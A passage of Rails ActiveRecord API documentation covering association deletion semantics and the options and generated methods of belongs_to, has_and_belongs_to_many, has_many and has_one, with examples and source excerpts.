Note that :dependent is implemented using Rails’ callback system, which works by processing callbacks in order. Therefore, other callbacks declared either before or after the :dependent option can affect what it does.

+ +

Note that :dependent option is ignored for has_one :through associations.

+ +

Delete or destroy?

+ +

has_many and has_and_belongs_to_many associations have the methods destroy, delete, destroy_all and delete_all.

+ +

For has_and_belongs_to_many, delete and destroy are the same: they cause the records in the join table to be removed.

+ +

For has_many, destroy and destroy_all will always call the destroy method of the record(s) being removed so that callbacks are run. However delete and delete_all will either do the deletion according to the strategy specified by the :dependent option, or if no :dependent option is given, then it will follow the default strategy. The default strategy is to do nothing (leave the foreign keys with the parent ids set), except for has_many :through, where the default strategy is delete_all (delete the join records, without running their callbacks).

+ +

There is also a clear method which is the same as delete_all, except that it returns the association rather than the records which have been deleted.

+ +

What gets deleted?

+ +

There is a potential pitfall here: has_and_belongs_to_many and has_many :through associations have records in join tables, as well as the associated records. So when we call one of these deletion methods, what exactly should be deleted?

+ +

The answer is that it is assumed that deletion on an association is about removing the link between the owner and the associated object(s), rather than necessarily the associated objects themselves. So with has_and_belongs_to_many and has_many :through, the join records will be deleted, but the associated records won’t.

+ +

This makes sense if you think about it: if you were to call post.tags.delete(Tag.find_by(name: 'food')) you would want the β€˜food’ tag to be unlinked from the post, rather than for the tag itself to be removed from the database.

+ +

However, there are examples where this strategy doesn’t make sense. For example, suppose a person has many projects, and each project has many tasks. If we deleted one of a person’s tasks, we would probably not want the project to be deleted. In this scenario, the delete method won’t actually work: it can only be used if the association on the join model is a belongs_to. In other situations you are expected to perform operations directly on either the associated records or the :through association.

+ +

With a regular has_many there is no distinction between the β€œassociated records” and the β€œlink”, so there is only one choice for what gets deleted.

+ +

With has_and_belongs_to_many and has_many :through, if you want to delete the associated records themselves, you can always do something along the lines of person.tasks.each(&:destroy).

+ +

Type safety with ActiveRecord::AssociationTypeMismatch

+ +

If you attempt to assign an object to an association that doesn’t match the inferred or specified :class_name, you’ll get an ActiveRecord::AssociationTypeMismatch.

+ +

Options

+ +

All of the association macros can be specialized through options. This makes cases more complex than the simple and guessable ones possible.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + belongs_to(name, scope = nil, **options) + +

+ + +
+

Specifies a one-to-one association with another class. This method should only be used if this class contains the foreign key. If the other class contains the foreign key, then you should use has_one instead. See Is it a belongs_to or has_one association? for more detail on when to use has_one and when to use belongs_to.

+ +

Methods will be added for retrieval and query for a single associated object, for which this object holds an id:

+ +

association is a placeholder for the symbol passed as the name argument, so belongs_to :author would add among others author.nil?.

+
association +
+

Returns the associated object. nil is returned if none is found.

+
association=(associate) +
+

Assigns the associate object, extracts the primary key, and sets it as the foreign key. No modification or deletion of existing records takes place.

+
build_association(attributes = {}) +
+

Returns a new object of the associated type that has been instantiated with attributes and linked to this object through a foreign key, but has not yet been saved.

+
create_association(attributes = {}) +
+

Returns a new object of the associated type that has been instantiated with attributes, linked to this object through a foreign key, and that has already been saved (if it passed the validation).

+
create_association!(attributes = {}) +
+

Does the same as create_association, but raises ActiveRecord::RecordInvalid if the record is invalid.

+
reload_association +
+

Returns the associated object, forcing a database read.

+
reset_association +
+

Unloads the associated object. The next access will query it from the database.

+
association_changed? +
+

Returns true if a new associate object has been assigned and the next save will update the foreign key.

+
association_previously_changed? +
+

Returns true if the previous save updated the association to reference a new associate object.

+
+ +

Example

+ +
class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+ +

Declaring belongs_to :author adds the following methods (and more):

+ +
post = Post.find(7)
+author = Author.find(19)
+
+post.author           # similar to Author.find(post.author_id)
+post.author = author  # similar to post.author_id = author.id
+post.build_author     # similar to post.author = Author.new
+post.create_author    # similar to post.author = Author.new; post.author.save; post.author
+post.create_author!   # similar to post.author = Author.new; post.author.save!; post.author
+post.reload_author
+post.reset_author
+post.author_changed?
+post.author_previously_changed?
+
+ +

Scopes

+ +

You can pass a second argument scope as a callable (i.e. proc or lambda) to retrieve a specific record or customize the generated query when you access the associated object.

+ +

Scope examples:

+ +
belongs_to :firm, -> { where(id: 2) }
+belongs_to :user, -> { joins(:friends) }
+belongs_to :level, ->(game) { where("game_level > ?", game.current_level) }
+
+ +

Options

+ +

The declaration can also include an options hash to specialize the behavior of the association.

+
:class_name +
+

Specify the class name of the association. Use it only if that name can’t be inferred from the association name. So belongs_to :author will by default be linked to the Author class, but if the real class name is Person, you’ll have to specify it with this option.

+
:foreign_key +
+

Specify the foreign key used for the association. By default this is guessed to be the name of the association with an β€œ_id” suffix. So a class that defines a belongs_to :person association will use β€œperson_id” as the default :foreign_key. Similarly, belongs_to :favorite_person, class_name: "Person" will use a foreign key of β€œfavorite_person_id”.

+ +

Setting the :foreign_key option prevents automatic detection of the association’s inverse, so it is generally a good idea to set the :inverse_of option as well.

+
:foreign_type +
+

Specify the column used to store the associated object’s type, if this is a polymorphic association. By default this is guessed to be the name of the association with a β€œ_type” suffix. So a class that defines a belongs_to :taggable, polymorphic: true association will use β€œtaggable_type” as the default :foreign_type.

+
:primary_key +
+

Specify the method that returns the primary key of associated object used for the association. By default this is id.

+
:dependent +
+

If set to :destroy, the associated object is destroyed when this object is. If set to :delete, the associated object is deleted without calling its destroy method. If set to :destroy_async, the associated object is scheduled to be destroyed in a background job. This option should not be specified when belongs_to is used in conjunction with a has_many relationship on another class because of the potential to leave orphaned records behind.

+
:counter_cache +
+

Caches the number of belonging objects on the associate class through the use of CounterCache::ClassMethods#increment_counter and CounterCache::ClassMethods#decrement_counter. The counter cache is incremented when an object of this class is created and decremented when it’s destroyed. This requires that a column named #{table_name}_count (such as comments_count for a belonging Comment class) is used on the associate class (such as a Post class) - that is the migration for #{table_name}_count is created on the associate class (such that Post.comments_count will return the count cached). You can also specify a custom counter cache column by providing a column name instead of a true/false value to this option (e.g., counter_cache: :my_custom_counter.)

+ +

Starting to use counter caches on existing large tables can be troublesome, because the column values must be backfilled separately of the column addition (to not lock the table for too long) and before the use of :counter_cache (otherwise methods like size/any?/etc, which use counter caches internally, can produce incorrect results). To safely backfill the values while keeping counter cache columns updated with the child records creation/removal and to avoid the mentioned methods use the possibly incorrect counter cache column values and always get the results from the database, use counter_cache: { active: false }. If you also need to specify a custom column name, use counter_cache: { active: false, column: :my_custom_counter }.

+ +

Note: If you’ve enabled the counter cache, then you may want to add the counter cache attribute to the attr_readonly list in the associated classes (e.g. class Post; attr_readonly :comments_count; end).

+
:polymorphic +
+

Specify this association is a polymorphic association by passing true. Note: Since polymorphic associations rely on storing class names in the database, make sure to update the class names in the *_type polymorphic type column of the corresponding rows.

+
:validate +
+

When set to true, validates new objects added to association when saving the parent object. false by default. If you want to ensure associated objects are revalidated on every update, use validates_associated.

+
:autosave +
+

If true, always save the associated object or destroy it if marked for destruction, when saving the parent object. If false, never save or destroy the associated object. By default, only save the associated object if it’s a new record.

+ +

Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets :autosave to true.

+
:touch +
+

If true, the associated object will be touched (the updated_at / updated_on attributes set to current time) when this record is either saved or destroyed. If you specify a symbol, that attribute will be updated with the current time in addition to the updated_at / updated_on attribute. Please note that no validation will be performed when touching, and only the after_touch, after_commit, and after_rollback callbacks will be executed.

+
:inverse_of +
+

Specifies the name of the has_one or has_many association on the associated object that is the inverse of this belongs_to association. See Bi-directional associations for more detail.

+
:optional +
+

When set to true, the association will not have its presence validated.

+
:required +
+

When set to true, the association will also have its presence validated. This will validate the association itself, not the id. You can use :inverse_of to avoid an extra query during validation. NOTE: required is set to true by default and is deprecated. If you don’t want to have association presence validated, use optional: true.

+
:default +
+

Provide a callable (i.e. proc or lambda) to specify that the association should be initialized with a particular record before validation. Please note that callable won’t be executed if the record exists.

+
:strict_loading +
+

Enforces strict loading every time the associated record is loaded through this association.

+
:ensuring_owner_was +
+

Specifies an instance method to be called on the owner. The method must return true in order for the associated records to be deleted in a background job.

+
:query_constraints +
+

Serves as a composite foreign key. Defines the list of columns to be used to query the associated object. This is an optional option. By default Rails will attempt to derive the value automatically. When the value is set the Array size must match associated model’s primary key or query_constraints size.

+
+ +

Option examples:

+ +
belongs_to :firm, foreign_key: "client_of"
+belongs_to :person, primary_key: "name", foreign_key: "person_name"
+belongs_to :author, class_name: "Person", foreign_key: "author_id"
+belongs_to :valid_coupon, ->(o) { where "discounts > ?", o.payments_count },
+                          class_name: "Coupon", foreign_key: "coupon_id"
+belongs_to :attachable, polymorphic: true
+belongs_to :project, -> { readonly }
+belongs_to :post, counter_cache: true
+belongs_to :comment, touch: true
+belongs_to :company, touch: :employees_last_updated_at
+belongs_to :user, optional: true
+belongs_to :account, default: -> { company.account }
+belongs_to :account, strict_loading: true
+belongs_to :note, query_constraints: [:organization_id, :note_id]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations.rb, line 1659
+        def belongs_to(name, scope = nil, **options)
+          reflection = Builder::BelongsTo.build(self, name, scope, options)
+          Reflection.add_reflection self, name, reflection
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_and_belongs_to_many(name, scope = nil, **options, &extension) + +

+ + +
+

Specifies a many-to-many relationship with another class. This associates two classes via an intermediate join table. Unless the join table is explicitly specified as an option, it is guessed using the lexical order of the class names. So a join between Developer and Project will give the default join table name of β€œdevelopers_projects” because β€œD” precedes β€œP” alphabetically. Note that this precedence is calculated using the < operator for String. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables β€œpaper_boxes” and β€œpapers” to generate a join table name of β€œpapers_paper_boxes” because of the length of the name β€œpaper_boxes”, but it in fact generates a join table name of β€œpaper_boxes_papers”. Be aware of this caveat, and use the custom :join_table option if you need to. If your tables share a common prefix, it will only appear once at the beginning. For example, the tables β€œcatalog_categories” and β€œcatalog_products” generate a join table name of β€œcatalog_categories_products”.

+ +

The join table should not have a primary key or a model associated with it. You must manually generate the join table with a migration such as this:

+ +
class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration[7.2]
+  def change
+    create_join_table :developers, :projects
+  end
+end
+
+ +

It’s also a good idea to add indexes to each of those columns to speed up the joins process. However, in MySQL it is advised to add a compound index for both of the columns as MySQL only uses one index per table during the lookup.

+ +

Adds the following methods for retrieval and query:

+ +

collection is a placeholder for the symbol passed as the name argument, so has_and_belongs_to_many :categories would add among others categories.empty?.

+
collection +
+

Returns a Relation of all the associated objects. An empty Relation is returned if none are found.

+
collection<<(object, ...) +
+

Adds one or more objects to the collection by creating associations in the join table (collection.push and collection.concat are aliases to this method). Note that this operation instantly fires update SQL without waiting for the save or update call on the parent object, unless the parent object is a new record.

+
collection.delete(object, ...) +
+

Removes one or more objects from the collection by removing their associations from the join table. This does not destroy the objects.

+
collection.destroy(object, ...) +
+

Removes one or more objects from the collection by running destroy on each association in the join table, overriding any dependent option. This does not destroy the objects.

+
collection=objects +
+

Replaces the collection’s content by deleting and adding objects as appropriate.

+
collection_singular_ids +
+

Returns an array of the associated objects’ ids.

+
collection_singular_ids=ids +
+

Replace the collection by the objects identified by the primary keys in ids.

+
collection.clear +
+

Removes every object from the collection. This does not destroy the objects.

+
collection.empty? +
+

Returns true if there are no associated objects.

+
collection.size +
+

Returns the number of associated objects.

+
collection.find(id) +
+

Finds an associated object responding to the id and that meets the condition that it has to be associated with this object. Uses the same rules as ActiveRecord::FinderMethods#find.

+
collection.exists?(...) +
+

Checks whether an associated object with the given conditions exists. Uses the same rules as ActiveRecord::FinderMethods#exists?.

+
collection.build(attributes = {}) +
+

Returns a new object of the collection type that has been instantiated with attributes and linked to this object through the join table, but has not yet been saved.

+
collection.create(attributes = {}) +
+

Returns a new object of the collection type that has been instantiated with attributes, linked to this object through the join table, and that has already been saved (if it passed the validation).

+
collection.reload +
+

Returns a Relation of all of the associated objects, forcing a database read. An empty Relation is returned if none are found.

+
+ +

Example

+ +
class Developer < ActiveRecord::Base
+  has_and_belongs_to_many :projects
+end
+
+ +

Declaring has_and_belongs_to_many :projects adds the following methods (and more):

+ +
developer = Developer.find(11)
+project   = Project.find(9)
+
+developer.projects
+developer.projects << project
+developer.projects.delete(project)
+developer.projects.destroy(project)
+developer.projects = [project]
+developer.project_ids
+developer.project_ids = [9]
+developer.projects.clear
+developer.projects.empty?
+developer.projects.size
+developer.projects.find(9)
+developer.projects.exists?(9)
+developer.projects.build  # similar to Project.new(developer_id: 11)
+developer.projects.create # similar to Project.create(developer_id: 11)
+developer.projects.reload
+
+ +

The declaration may include an options hash to specialize the behavior of the association.

+ +

Scopes

+ +

You can pass a second argument scope as a callable (i.e. proc or lambda) to retrieve a specific set of records or customize the generated query when you access the associated collection.

+ +

Scope examples:

+ +
has_and_belongs_to_many :projects, -> { includes(:milestones, :manager) }
+has_and_belongs_to_many :categories, ->(post) {
+  where("default_category = ?", post.default_category)
+}
+
+ +

Extensions

+ +

The extension argument allows you to pass a block into a has_and_belongs_to_many association. This is useful for adding new finders, creators, and other factory-type methods to be used as part of the association.

+ +

Extension examples:

+ +
has_and_belongs_to_many :contractors do
+  def find_or_create_by_name(name)
+    first_name, last_name = name.split(" ", 2)
+    find_or_create_by(first_name: first_name, last_name: last_name)
+  end
+end
+
+ +

Options

+
:class_name +
+

Specify the class name of the association. Use it only if that name can’t be inferred from the association name. So has_and_belongs_to_many :projects will by default be linked to the Project class, but if the real class name is SuperProject, you’ll have to specify it with this option.

+
:join_table +
+

Specify the name of the join table if the default based on lexical order isn’t what you want. WARNING: If you’re overwriting the table name of either class, the table_name method MUST be declared underneath any has_and_belongs_to_many declaration in order to work.

+
:foreign_key +
+

Specify the foreign key used for the association. By default this is guessed to be the name of this class in lower-case and β€œ_id” suffixed. So a Person class that makes a has_and_belongs_to_many association to Project will use β€œperson_id” as the default :foreign_key.

+ +

Setting the :foreign_key option prevents automatic detection of the association’s inverse, so it is generally a good idea to set the :inverse_of option as well.

+
:association_foreign_key +
+

Specify the foreign key used for the association on the receiving side of the association. By default this is guessed to be the name of the associated class in lower-case and β€œ_id” suffixed. So if a Person class makes a has_and_belongs_to_many association to Project, the association will use β€œproject_id” as the default :association_foreign_key.

+
:validate +
+

When set to true, validates new objects added to association when saving the parent object. true by default. If you want to ensure associated objects are revalidated on every update, use validates_associated.

+
:autosave +
+

If true, always save the associated objects or destroy them if marked for destruction, when saving the parent object. If false, never save or destroy the associated objects. By default, only save associated objects that are new records.

+ +

Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets :autosave to true.

+
:strict_loading +
+

Enforces strict loading every time an associated record is loaded through this association.

+
+ +

Option examples:

+ +
has_and_belongs_to_many :projects
+has_and_belongs_to_many :projects, -> { includes(:milestones, :manager) }
+has_and_belongs_to_many :nations, class_name: "Country"
+has_and_belongs_to_many :categories, join_table: "prods_cats"
+has_and_belongs_to_many :categories, -> { readonly }
+has_and_belongs_to_many :categories, strict_loading: true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations.rb, line 1840
+        def has_and_belongs_to_many(name, scope = nil, **options, &extension)
+          habtm_reflection = ActiveRecord::Reflection::HasAndBelongsToManyReflection.new(name, scope, options, self)
+
+          builder = Builder::HasAndBelongsToMany.new name, self, options
+
+          join_model = builder.through_model
+
+          const_set join_model.name, join_model
+          private_constant join_model.name
+
+          middle_reflection = builder.middle_reflection join_model
+
+          Builder::HasMany.define_callbacks self, middle_reflection
+          Reflection.add_reflection self, middle_reflection.name, middle_reflection
+          middle_reflection.parent_reflection = habtm_reflection
+
+          include Module.new {
+            class_eval <<-RUBY, __FILE__, __LINE__ + 1
+              def destroy_associations
+                association(:#{middle_reflection.name}).delete_all(:delete_all)
+                association(:#{name}).reset
+                super
+              end
+            RUBY
+          }
+
+          hm_options = {}
+          hm_options[:through] = middle_reflection.name
+          hm_options[:source] = join_model.right_reflection.name
+
+          [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table, :class_name, :extend, :strict_loading].each do |k|
+            hm_options[k] = options[k] if options.key? k
+          end
+
+          has_many name, scope, **hm_options, &extension
+          _reflections[name].parent_reflection = habtm_reflection
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_many(name, scope = nil, **options, &extension) + +

+ + +
+

Specifies a one-to-many association. The following methods for retrieval and query of collections of associated objects will be added:

+ +

collection is a placeholder for the symbol passed as the name argument, so has_many :clients would add among others clients.empty?.

+
collection +
+

Returns a Relation of all the associated objects. An empty Relation is returned if none are found.

+
collection<<(object, ...) +
+

Adds one or more objects to the collection by setting their foreign keys to the collection’s primary key. Note that this operation instantly fires update SQL without waiting for the save or update call on the parent object, unless the parent object is a new record. This will also run validations and callbacks of associated object(s).

+
collection.delete(object, ...) +
+

Removes one or more objects from the collection by setting their foreign keys to NULL. Objects will be in addition destroyed if they’re associated with dependent: :destroy, and deleted if they’re associated with dependent: :delete_all.

+ +

If the :through option is used, then the join records are deleted (rather than nullified) by default, but you can specify dependent: :destroy or dependent: :nullify to override this.

+
collection.destroy(object, ...) +
+

Removes one or more objects from the collection by running destroy on each record, regardless of any dependent option, ensuring callbacks are run.

+ +

If the :through option is used, then the join records are destroyed instead, not the objects themselves.

+
collection=objects +
+

Replaces the collections content by deleting and adding objects as appropriate. If the :through option is true callbacks in the join models are triggered except destroy callbacks, since deletion is direct by default. You can specify dependent: :destroy or dependent: :nullify to override this.

+
collection_singular_ids +
+

Returns an array of the associated objects’ ids

+
collection_singular_ids=ids +
+

Replace the collection with the objects identified by the primary keys in ids. This method loads the models and calls collection=. See above.

+
collection.clear +
+

Removes every object from the collection. This destroys the associated objects if they are associated with dependent: :destroy, deletes them directly from the database if dependent: :delete_all, otherwise sets their foreign keys to NULL. If the :through option is true no destroy callbacks are invoked on the join models. Join models are directly deleted.

+
collection.empty? +
+

Returns true if there are no associated objects.

+
collection.size +
+

Returns the number of associated objects.

+
collection.find(...) +
+

Finds an associated object according to the same rules as ActiveRecord::FinderMethods#find.

+
collection.exists?(...) +
+

Checks whether an associated object with the given conditions exists. Uses the same rules as ActiveRecord::FinderMethods#exists?.

+
collection.build(attributes = {}, ...) +
+

Returns one or more new objects of the collection type that have been instantiated with attributes and linked to this object through a foreign key, but have not yet been saved.

+
collection.create(attributes = {}) +
+

Returns a new object of the collection type that has been instantiated with attributes, linked to this object through a foreign key, and that has already been saved (if it passed the validation). Note: This only works if the base model already exists in the DB, not if it is a new (unsaved) record!

+
collection.create!(attributes = {}) +
+

Does the same as collection.create, but raises ActiveRecord::RecordInvalid if the record is invalid.

+
collection.reload +
+

Returns a Relation of all of the associated objects, forcing a database read. An empty Relation is returned if none are found.

+
+ +

Example

+ +
class Firm < ActiveRecord::Base
+  has_many :clients
+end
+
+ +

Declaring has_many :clients adds the following methods (and more):

+ +
firm = Firm.find(2)
+client = Client.find(6)
+
+firm.clients                       # similar to Client.where(firm_id: 2)
+firm.clients << client
+firm.clients.delete(client)
+firm.clients.destroy(client)
+firm.clients = [client]
+firm.client_ids
+firm.client_ids = [6]
+firm.clients.clear
+firm.clients.empty?                # similar to firm.clients.size == 0
+firm.clients.size                  # similar to Client.count "firm_id = 2"
+firm.clients.find                  # similar to Client.where(firm_id: 2).find(6)
+firm.clients.exists?(name: 'ACME') # similar to Client.exists?(name: 'ACME', firm_id: 2)
+firm.clients.build                 # similar to Client.new(firm_id: 2)
+firm.clients.create                # similar to Client.create(firm_id: 2)
+firm.clients.create!               # similar to Client.create!(firm_id: 2)
+firm.clients.reload
+
+ +

The declaration can also include an options hash to specialize the behavior of the association.

+ +

Scopes

+ +

You can pass a second argument scope as a callable (i.e. proc or lambda) to retrieve a specific set of records or customize the generated query when you access the associated collection.

+ +

Scope examples:

+ +
has_many :comments, -> { where(author_id: 1) }
+has_many :employees, -> { joins(:address) }
+has_many :posts, ->(blog) { where("max_post_length > ?", blog.max_post_length) }
+
+ +

Extensions

+ +

The extension argument allows you to pass a block into a has_many association. This is useful for adding new finders, creators, and other factory-type methods to be used as part of the association.

+ +

Extension examples:

+ +
has_many :employees do
+  def find_or_create_by_name(name)
+    first_name, last_name = name.split(" ", 2)
+    find_or_create_by(first_name: first_name, last_name: last_name)
+  end
+end
+
+ +

Options

+
:class_name +
+

Specify the class name of the association. Use it only if that name can’t be inferred from the association name. So has_many :products will by default be linked to the Product class, but if the real class name is SpecialProduct, you’ll have to specify it with this option.

+
:foreign_key +
+

Specify the foreign key used for the association. By default this is guessed to be the name of this class in lower-case and β€œ_id” suffixed. So a Person class that makes a has_many association will use β€œperson_id” as the default :foreign_key.

+ +

Setting the :foreign_key option prevents automatic detection of the association’s inverse, so it is generally a good idea to set the :inverse_of option as well.

+
:foreign_type +
+

Specify the column used to store the associated object’s type, if this is a polymorphic association. By default this is guessed to be the name of the polymorphic association specified on β€œas” option with a β€œ_type” suffix. So a class that defines a has_many :tags, as: :taggable association will use β€œtaggable_type” as the default :foreign_type.

+
:primary_key +
+

Specify the name of the column to use as the primary key for the association. By default this is id.

+
:dependent +
+

Controls what happens to the associated objects when their owner is destroyed. Note that these are implemented as callbacks, and Rails executes callbacks in order. Therefore, other similar callbacks may affect the :dependent behavior, and the :dependent behavior may affect other callbacks.

+
  • +

    nil do nothing (default).

    +
  • +

    :destroy causes all the associated objects to also be destroyed.

    +
  • +

    :destroy_async destroys all the associated objects in a background job. WARNING: Do not use this option if the association is backed by foreign key constraints in your database. The foreign key constraint actions will occur inside the same transaction that deletes its owner.

    +
  • +

    :delete_all causes all the associated objects to be deleted directly from the database (so callbacks will not be executed).

    +
  • +

    :nullify causes the foreign keys to be set to NULL. Polymorphic type will also be nullified on polymorphic associations. Callbacks are not executed.

    +
  • +

    :restrict_with_exception causes an ActiveRecord::DeleteRestrictionError exception to be raised if there are any associated records.

    +
  • +

    :restrict_with_error causes an error to be added to the owner if there are any associated objects.

    +
+ +

If using with the :through option, the association on the join model must be a belongs_to, and the records which get deleted are the join records, rather than the associated records.

+ +

If using dependent: :destroy on a scoped association, only the scoped objects are destroyed. For example, if a Post model defines has_many :comments, -> { where published: true }, dependent: :destroy and destroy is called on a post, only published comments are destroyed. This means that any unpublished comments in the database would still contain a foreign key pointing to the now deleted post.

+
:counter_cache +
+

This option can be used to configure a custom named :counter_cache. You only need this option, when you customized the name of your :counter_cache on the belongs_to association.

+
:as +
+

Specifies a polymorphic interface (See belongs_to).

+
:through +
+

Specifies an association through which to perform the query. This can be any other type of association, including other :through associations. Options for :class_name, :primary_key and :foreign_key are ignored, as the association uses the source reflection.

+ +

If the association on the join model is a belongs_to, the collection can be modified and the records on the :through model will be automatically created and removed as appropriate. Otherwise, the collection is read-only, so you should manipulate the :through association directly.

+ +

If you are going to modify the association (rather than just read from it), then it is a good idea to set the :inverse_of option on the source association on the join model. This allows associated records to be built which will automatically create the appropriate join model records when they are saved. See Association Join Models and Setting Inverses for more detail.

+
:disable_joins +
+

Specifies whether joins should be skipped for an association. If set to true, two or more queries will be generated. Note that in some cases, if order or limit is applied, it will be done in-memory due to database limitations. This option is only applicable on has_many :through associations as has_many alone do not perform a join.

+
:source +
+

Specifies the source association name used by has_many :through queries. Only use it if the name cannot be inferred from the association. has_many :subscribers, through: :subscriptions will look for either :subscribers or :subscriber on Subscription, unless a :source is given.

+
:source_type +
+

Specifies type of the source association used by has_many :through queries where the source association is a polymorphic belongs_to.

+
:validate +
+

When set to true, validates new objects added to association when saving the parent object. true by default. If you want to ensure associated objects are revalidated on every update, use validates_associated.

+
:autosave +
+

If true, always save the associated objects or destroy them if marked for destruction, when saving the parent object. If false, never save or destroy the associated objects. By default, only save associated objects that are new records. This option is implemented as a before_save callback. Because callbacks are run in the order they are defined, associated objects may need to be explicitly saved in any user-defined before_save callbacks.

+ +

Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets :autosave to true.

+
:inverse_of +
+

Specifies the name of the belongs_to association on the associated object that is the inverse of this has_many association. See Bi-directional associations for more detail.

+
:extend +
+

Specifies a module or array of modules that will be extended into the association object returned. Useful for defining methods on associations, especially when they should be shared between multiple association objects.

+
:strict_loading +
+

When set to true, enforces strict loading every time the associated record is loaded through this association.

+
:ensuring_owner_was +
+

Specifies an instance method to be called on the owner. The method must return true in order for the associated records to be deleted in a background job.

+
:query_constraints +
+

Serves as a composite foreign key. Defines the list of columns to be used to query the associated object. This is an optional option. By default Rails will attempt to derive the value automatically. When the value is set the Array size must match associated model’s primary key or query_constraints size.

+
:index_errors +
+

Allows differentiation of multiple validation errors from the association records, by including an index in the error attribute name, e.g. roles[2].level. When set to true, the index is based on association order, i.e. database order, with yet to be persisted new records placed at the end. When set to :nested_attributes_order, the index is based on the record order received by nested attributes setter, when accepts_nested_attributes_for is used.

+
+ +

Option examples:

+ +
has_many :comments, -> { order("posted_on") }
+has_many :comments, -> { includes(:author) }
+has_many :people, -> { where(deleted: false).order("name") }, class_name: "Person"
+has_many :tracks, -> { order("position") }, dependent: :destroy
+has_many :comments, dependent: :nullify
+has_many :tags, as: :taggable
+has_many :reports, -> { readonly }
+has_many :subscribers, through: :subscriptions, source: :user
+has_many :subscribers, through: :subscriptions, disable_joins: true
+has_many :comments, strict_loading: true
+has_many :comments, query_constraints: [:blog_id, :post_id]
+has_many :comments, index_errors: :nested_attributes_order
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations.rb, line 1272
+        def has_many(name, scope = nil, **options, &extension)
+          reflection = Builder::HasMany.build(self, name, scope, options, &extension)
+          Reflection.add_reflection self, name, reflection
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_one(name, scope = nil, **options) + +

+ + +
+

Specifies a one-to-one association with another class. This method should only be used if the other class contains the foreign key. If the current class contains the foreign key, then you should use belongs_to instead. See Is it a belongs_to or has_one association? for more detail on when to use has_one and when to use belongs_to.

+ +

The following methods for retrieval and query of a single associated object will be added:

+ +

association is a placeholder for the symbol passed as the name argument, so has_one :manager would add among others manager.nil?.

+
association +
+

Returns the associated object. nil is returned if none is found.

+
association=(associate) +
+

Assigns the associate object, extracts the primary key, sets it as the foreign key, and saves the associate object. To avoid database inconsistencies, permanently deletes an existing associated object when assigning a new one, even if the new one isn’t saved to database.

+
build_association(attributes = {}) +
+

Returns a new object of the associated type that has been instantiated with attributes and linked to this object through a foreign key, but has not yet been saved.

+
create_association(attributes = {}) +
+

Returns a new object of the associated type that has been instantiated with attributes, linked to this object through a foreign key, and that has already been saved (if it passed the validation).

+
create_association!(attributes = {}) +
+

Does the same as create_association, but raises ActiveRecord::RecordInvalid if the record is invalid.

+
reload_association +
+

Returns the associated object, forcing a database read.

+
reset_association +
+

Unloads the associated object. The next access will query it from the database.

+
+ +

Example

+ +
class Account < ActiveRecord::Base
+  has_one :beneficiary
+end
+
+ +

Declaring has_one :beneficiary adds the following methods (and more):

+ +
account = Account.find(5)
+beneficiary = Beneficiary.find(8)
+
+account.beneficiary               # similar to Beneficiary.find_by(account_id: 5)
+account.beneficiary = beneficiary # similar to beneficiary.update(account_id: 5)
+account.build_beneficiary         # similar to Beneficiary.new(account_id: 5)
+account.create_beneficiary        # similar to Beneficiary.create(account_id: 5)
+account.create_beneficiary!       # similar to Beneficiary.create!(account_id: 5)
+account.reload_beneficiary
+account.reset_beneficiary
+
+ +

Scopes

+ +

You can pass a second argument scope as a callable (i.e. proc or lambda) to retrieve a specific record or customize the generated query when you access the associated object.

+ +

Scope examples:

+ +
has_one :author, -> { where(comment_id: 1) }
+has_one :employer, -> { joins(:company) }
+has_one :latest_post, ->(blog) { where("created_at > ?", blog.enabled_at) }
+
+ +

Options

+ +

The declaration can also include an options hash to specialize the behavior of the association.

+ +

Options are:

+
:class_name +
+

Specify the class name of the association. Use it only if that name can’t be inferred from the association name. So has_one :manager will by default be linked to the Manager class, but if the real class name is Person, you’ll have to specify it with this option.

+
:dependent +
+

Controls what happens to the associated object when its owner is destroyed:

+
  • +

    nil do nothing (default).

    +
  • +

    :destroy causes the associated object to also be destroyed

    +
  • +

    :destroy_async causes the associated object to be destroyed in a background job. WARNING: Do not use this option if the association is backed by foreign key constraints in your database. The foreign key constraint actions will occur inside the same transaction that deletes its owner.

    +
  • +

    :delete causes the associated object to be deleted directly from the database (so callbacks will not execute)

    +
  • +

    :nullify causes the foreign key to be set to NULL. Polymorphic type column is also nullified on polymorphic associations. Callbacks are not executed.

    +
  • +

    :restrict_with_exception causes an ActiveRecord::DeleteRestrictionError exception to be raised if there is an associated record

    +
  • +

    :restrict_with_error causes an error to be added to the owner if there is an associated object

    +
+ +

Note that :dependent option is ignored when using :through option.

+
:foreign_key +
+

Specify the foreign key used for the association. By default this is guessed to be the name of this class in lower-case and β€œ_id” suffixed. So a Person class that makes a has_one association will use β€œperson_id” as the default :foreign_key.

+ +

Setting the :foreign_key option prevents automatic detection of the association’s inverse, so it is generally a good idea to set the :inverse_of option as well.

+
:foreign_type +
+

Specify the column used to store the associated object’s type, if this is a polymorphic association. By default this is guessed to be the name of the polymorphic association specified on β€œas” option with a β€œ_type” suffix. So a class that defines a has_one :tag, as: :taggable association will use β€œtaggable_type” as the default :foreign_type.

+
:primary_key +
+

Specify the method that returns the primary key used for the association. By default this is id.

+
:as +
+

Specifies a polymorphic interface (See belongs_to).

+
:through +
+

Specifies a Join Model through which to perform the query. Options for :class_name, :primary_key, and :foreign_key are ignored, as the association uses the source reflection. You can only use a :through query through a has_one or belongs_to association on the join model.

+ +

If the association on the join model is a belongs_to, the collection can be modified and the records on the :through model will be automatically created and removed as appropriate. Otherwise, the collection is read-only, so you should manipulate the :through association directly.

+ +

If you are going to modify the association (rather than just read from it), then it is a good idea to set the :inverse_of option on the source association on the join model. This allows associated records to be built which will automatically create the appropriate join model records when they are saved. See Association Join Models and Setting Inverses for more detail.

+
